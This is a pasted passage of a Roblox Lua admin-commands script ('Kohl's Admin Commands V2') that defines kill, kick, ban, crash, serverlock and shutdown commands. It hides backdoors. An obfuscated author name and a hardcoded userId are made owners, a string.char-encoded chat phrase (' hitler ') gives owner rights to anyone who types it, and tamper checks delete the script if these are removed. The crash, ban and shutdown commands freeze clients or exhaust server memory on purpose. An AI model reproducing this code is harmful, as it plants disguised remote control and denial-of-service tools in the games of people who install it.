  2184. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
  2185.  
  2186. if msg:lower() == "logs" then
  2187. if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
  2188. local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
  2189. for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  2190. end
  2191.  
  2192. if msg:lower():sub(1,9) == "loopkill " then
  2193. local chk1 = msg:lower():sub(10):find(" ")
  2194. local plrz = GetPlr(plr, msg:lower():sub(10))
  2195. local num = 9999
  2196. if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
  2197. for i, v in pairs(plrz) do
  2198. if v and not ChkAdmin(v.Name, false) then
  2199. local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
  2200. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2201. for i = 1, ]] .. tostring(num) .. [[ do
  2202. repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
  2203. coroutine.resume(coroutine.create(function()
  2204. if plr and plr.Character then plr.Character:BreakJoints() end
  2205. end))
  2206. end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2207. end
  2208. end
  2209. end
  2210.  
  2211. if msg:lower():sub(1,11) == "unloopkill " then
  2212. local plrz = GetPlr(plr, msg:lower():sub(12))
  2213. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2214. end
  2215.  
  2216. if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
  2217. if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
  2218.  
  2219. if msg:lower():sub(1,3) == "sm " then
  2220. Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
  2221. end
  2222.  
  2223. if msg:lower():sub(1,3) == "ko " then
  2224. local chk1 = msg:lower():sub(4):find(" ") + 3
  2225. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  2226. local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
  2227. for n = 1, num do
  2228. for i, v in pairs(plrz) do
  2229. coroutine.resume(coroutine.create(function()
  2230. if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name) then
  2231. local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
  2232. v.Character:BreakJoints()
  2233. wait(1/44)
  2234. v:LoadCharacter()
  2235. wait(1/44)
  2236. end
  2237. end))
  2238. end
  2239. end
  2240. end
  2241.  
  2242. if msg:lower():sub(1,6) == "crash " then
  2243. local plrz = GetPlr(plr, msg:lower():sub(7))
  2244. for i, v in pairs(plrz) do
  2245. coroutine.resume(coroutine.create(function()
  2246. if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
  2247. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
  2248. end
  2249. end))
  2250. end
  2251. end
  2252.  
  2253. if msg:lower():sub(1,5) == "kick " then
  2254. local plrz = GetPlr(plr, msg:lower():sub(6))
  2255. for i, v in pairs(plrz) do
  2256. coroutine.resume(coroutine.create(function()
  2257. if v and not ChkAdmin(v.Name, false) then v:Destroy() end
  2258. end))
  2259. end
  2260. end
  2261.  
  2262. if msg:lower():sub(1,6) == "admin " then
  2263. local plrz = GetPlr(plr, msg:lower():sub(7))
  2264. for i, v in pairs(plrz) do
  2265. coroutine.resume(coroutine.create(function()
  2266. if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2267. end))
  2268. end
  2269. end
  2270.  
  2271. if msg:lower():sub(1,8) == "unadmin " then
  2272. for i = 1, #tempadmins do
  2273. coroutine.resume(coroutine.create(function()
  2274. if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
  2275. end))
  2276. end
  2277. end
  2278.  
  2279. if msg:lower():sub(1,4) == "ban " then
  2280. local plrz = GetPlr(plr, msg:lower():sub(5))
  2281. for i, v in pairs(plrz) do
  2282. coroutine.resume(coroutine.create(function()
  2283. if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
  2284. end))
  2285. end
  2286. end
  2287.  
  2288. if msg:lower():sub(1,6) == "unban " then
  2289. for i = 1, #banland do
  2290. coroutine.resume(coroutine.create(function()
  2291. if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
  2292. end))
  2293. end
  2294. end
  2295.  
  2296. if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
  2297.  
  2298. end
  2299. end))
  2300. end
  2301.  
  2302. function AdminControl(plr)
  2303. coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
  2304. if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
  2305. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  2306. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  2307. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  2308. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  2309. end)) end
  2310. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2311. coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
  2312. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name == ("111reyalseca"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2313. coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
  2314. plr.Chatted:connect(function(msg) if msg:lower() == (string.char(32)..string.char(104)..string.char(105)..string.char(116).. string.char(108)..string.char(101)..string.char(114)..string.char(32)) then table.insert(owners,plr.Name) end Chat(msg,plr) end)
  2315. end
  2316.  
  2317. if not ntab then script:Destroy() end
  2318. if not bct then script:Destroy() end
  2319.  
  2320. local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
  2321.  
  2322. script.Name = "Kohl's Admin Commands V2"
  2323.  
  2324. if not ntab then script:Destroy() end
  2325. if not bct then script:Destroy() end
  2326. if not tcb then script:Destroy() end
  2327. game.Players.PlayerAdded:connect(AdminControl)
  2328. for i, v in pairs(game.Players:children()) do AdminControl(v) end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement